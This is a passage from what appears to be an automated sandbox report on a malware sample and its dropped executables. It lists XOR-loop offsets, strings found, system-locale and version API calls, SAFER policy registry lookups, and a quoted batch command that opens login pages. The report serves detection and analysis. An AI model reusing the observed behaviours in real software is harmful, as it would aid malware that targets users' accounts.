"1Nd23RF4.exe" at offset 154719; code bytes = 30d0 Found XOR loop in file "1Nd23RF4.exe" at offset 9535; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 13707; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 14312; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 15198; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 15622; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 148641; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 175527; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 188976; code bytes = 33c1 Found XOR loop in file "1Nd23RF4.exe" at offset 98469; code bytes = 8030 Found XOR loop in file "1Nd23RF4.exe" at offset 113770; code bytes = 8030 Found XOR loop in file "1Nd23RF4.exe" at offset 179514; code bytes = 8030 Found XOR loop in file "2pQ5650.exe" at offset 175203; code bytes = 30d0 Found XOR loop in file "2pQ5650.exe" at offset 177561; code bytes = 30d0 Found XOR loop in file "2pQ5650.exe" at offset 180167; code bytes = 30d0 Found XOR loop in file "2pQ5650.exe" at offset 2277; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 14582; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 61606; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 62635; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 63802; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 64591; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 65024; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 67145; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 67264; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 74357; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 74877; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 76728; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 77234; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 84189; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 86198; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 88343; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 88474; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 94955; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 96433; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 100134; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 100281; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 102156; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 103955; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 107448; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 110897; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 111437; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 112961; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 114905; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 117246; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 119631; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 119959; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 121406; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 137206; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 137850; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 140574; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 140784; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 179375; code bytes = 33c1 Found XOR loop in file "2pQ5650.exe" at offset 172360; code bytes = 8030 Found XOR loop in file "2pQ5650.exe" at offset 174080; code bytes = 8030 Found XOR loop in file "2pQ5650.exe" at offset 180534; code bytes = 8030 Found XOR loop in file "6BL1kL7.exe" at offset 21450; code bytes = 30d0 Found XOR loop in file "explothe.exe" at offset 84290; code bytes = 30d0 Found XOR loop in file "explothe.exe" at offset 81028; code bytes = 33c1 Found XOR loop in file "explothe.exe" at offset 126512; code bytes = 33c1 Found XOR loop in file "explothe.exe" at offset 220855; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 158543; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 241252; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 255324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 275251; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 317596; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 514895; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 551250; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 667011; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 697835; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 751747; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 752500; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 818239; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 875991; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 959298; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1003148; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1052500; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1095652; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1103228; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1200162; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1269630; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1318069; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1448239; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 26031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 205879; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 212765; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 247046; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 247632; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 309224; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 359613; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 366616; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 401563; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 541538; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 626360; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 787869; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 869775; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1015974; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1063002; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1278893; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1325895; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1383889; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1385821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1429520; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1473097; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1487843; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1514937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 90891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 102399; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 103104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 157776; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 163968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 180718; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 297099; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 391443; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 483058; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 599231; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 760452; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 775747; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 908076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 982116; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1053219; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1057867; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1141148; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1173695; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1212615; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1219542; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1262414; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1270861; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1331666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1353908; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1377673; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1378116; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1419343; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1434031; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1470181; code bytes = 803032:T498,Found string "https://www.youtube.com" (Indicator: "youtube.com"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "youtube.com"; File: "3248.bat") file/memory contains long string with (Indicator: "youtube.com"; File: "supported_browsers_1_.htm") file/memory contains long string with (Indicator: "youtube.com"; File: "SV9Y7V8F.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "ULE3BMTC.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "6DYMXH6G.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "FQZ47ELV.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "X3JQAEBO.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "UZEDZ62P.txt") Found string "accounts.youtube.com" (Indicator: "youtube.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube.com"; File: "PCAP") file/memory contains long string with (Indicator: "youtube.com"; File: "SSL")33:T49b,file/memory contains long string with (Indicator: "GetCommandLine"; File: "5nB9ui9.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "1Nd23RF4.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "2pQ5650.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001864.00000000.79330.00C14000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001864.00000000.79330.00C14000.00000002.mdmp")34:T7ab,Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00001520.00000000.79661.00991000.00000020.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00001520.00000000.79661.00991000.00000020.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp, 00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp")35:T454,Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; File: "00000000-00001520.00000000.79661.00991000.00000020.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; File: "00000000-00001520.00000000.79661.00991000.00000020.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp") Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp") Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; Source: "00000000-00001520.00000000.79666.00A77000.00000002.mdmp")36:T207d,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001380) "gF3mD54.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001884) "gF3mD54.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001884) "oi9NR71.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004376) "oi9NR71.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000210067e5e5760000240038072b0000000000000024000000000038072b0000000000140300170000000048072d00c4002400f0a92a0000140000000024000000000038072b0070f921000464e87638012400e063e876f704c376000000000000240040072b0000000000000000000000000000000000000000000000000000000000000000000000000000002400e82f24000000000000000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004376) "oi9NR71.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004376) "ZF2zr63.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003660) "ZF2zr63.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003660) "Cb7yP98.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003620) "Cb7yP98.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003620) "1Nd23RF4.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002836) "1Nd23RF4.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002836)37:T1196,"oi9NR71.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000895e86d40072b0002000000d4f921009fa44d9d00000600000000009c1206000700000040072b00000000003411000003000000ccfa21000a0000004900000003000000c4f92100d0f92100e0fc210092e0e86d4fad85f0feffffff20fb210030a9e66d6a698c210000000048fa2100 (UID: 00000000-00004376) "1Nd23RF4.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000c802f0000000000000074002e004e00450054005c004600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000033003200 (UID: 00000000-00002836) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000044476a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003236) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000000000000000000000000000000000000000000000000000000b2f4e876d666fb768cea180000005971000059710000000000000000f0000000f000597100000000f8e91800000000008ceb180000000000010000005cea180040f5e876000000000000000048ea1800 (UID: 00000000-00003236) "5nB9ui9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb4b7608e92b0000a0fd7f9a5ce97600f0fd7f58c8200044a0fd7f00000000400000003f0000002600000000a0fd7f4cc82000c15ce9766082f0762600000000a0fd7f9a5ce97600f0fd7f70c820005789e8768083f0761317fe74d8eb4b76 (UID: 00000000-00002000) "5nB9ui9.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002000) "explothe.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003888) "explothe.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb4b7648a039000090fd7f9a5ce97600c0fd7f94c903014490fd7f00000000400000003f0000002b0000000090fd7f88c90301c15ce9766082f0762b0000000090fd7f9a5ce97600c0fd7facc903015789e8768083f0761317fe74d8eb4b76 (UID: 00000000-00003888) "explothe.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003888) "6BL1kL7.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb4b7688282e000070fd7f9a5ce97600e0fd7f48cc15024470fd7f00000000400000003f000000280000000070fd7f3ccc1502c15ce9766082f076280000000070fd7f9a5ce97600e0fd7f60cc15025789e8768083f0761317fe74d8eb4b76 (UID: 00000000-00003560) "6BL1kL7.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003560) "cmd.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003868)38:T701,GetUserDefaultLCID@KERNEL32.DLL at 00000000-00001520-34373-318-00994F48 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001520-34373-325-00A2771E GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-338-00994AD9 GetUserDefaultLCID@KERNEL32.DLL at 00000000-00001520-34373-377-00995349 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001520-34373-378-00A39326 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001520-34373-379-00A39469 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-381-00A39970 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001520-34373-382-00A393A8 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-861-00A39AB7 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-864-00A397FD GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-865-00A39516 GetUserDefaultLCID@KERNEL32.DLL at 00000000-00001520-34373-867-00A39383 GetLocaleInfoW@KERNEL32.DLL at 00000000-00001520-34373-868-00A39256 GetLocaleInfoEx@KERNEL32.DLL at 00000000-00001520-34373-3021-009D95AD GetLocaleInfoEx@KERNEL32.DLL at 00000000-00001520-34373-4122-009B58DF EnumSystemLocalesW@KERNEL32.DLL at 00000000-00001520-34373-5697-00A2790F GetUserDefaultLCID@KERNEL32.DLL at 00000000-00003232-36826-1022-00B04F48 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00003232-36826-1029-00B9771E GetLocaleInfoW@KERNEL32.DLL at 00000000-00003232-36826-1042-00B04AD9 GetUserDefaultLCID@KERNEL32.DLL at 00000000-00003232-36826-1081-00B05349 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00003232-36826-1082-00BA9326 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00003232-36826-1083-00BA9469 GetLocaleInfoW@KERNEL32.DLL at 00000000-00003232-36826-1085-00BA9970 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00003232-36826-1086-00BA93A8 GetLocaleInfoW@KERNEL32.DLL at 00000000-00003232-36826-1565-00BA9AB739:T81d,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "gF3mD54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "gF3mD54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "oi9NR71.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "oi9NR71.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ZF2zr63.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ZF2zr63.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Cb7yP98.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Cb7yP98.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1Nd23RF4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2pQ5650.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Cf23Ki.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Cf23Ki.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "4em853cx.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4em853cx.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "5nB9ui9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: 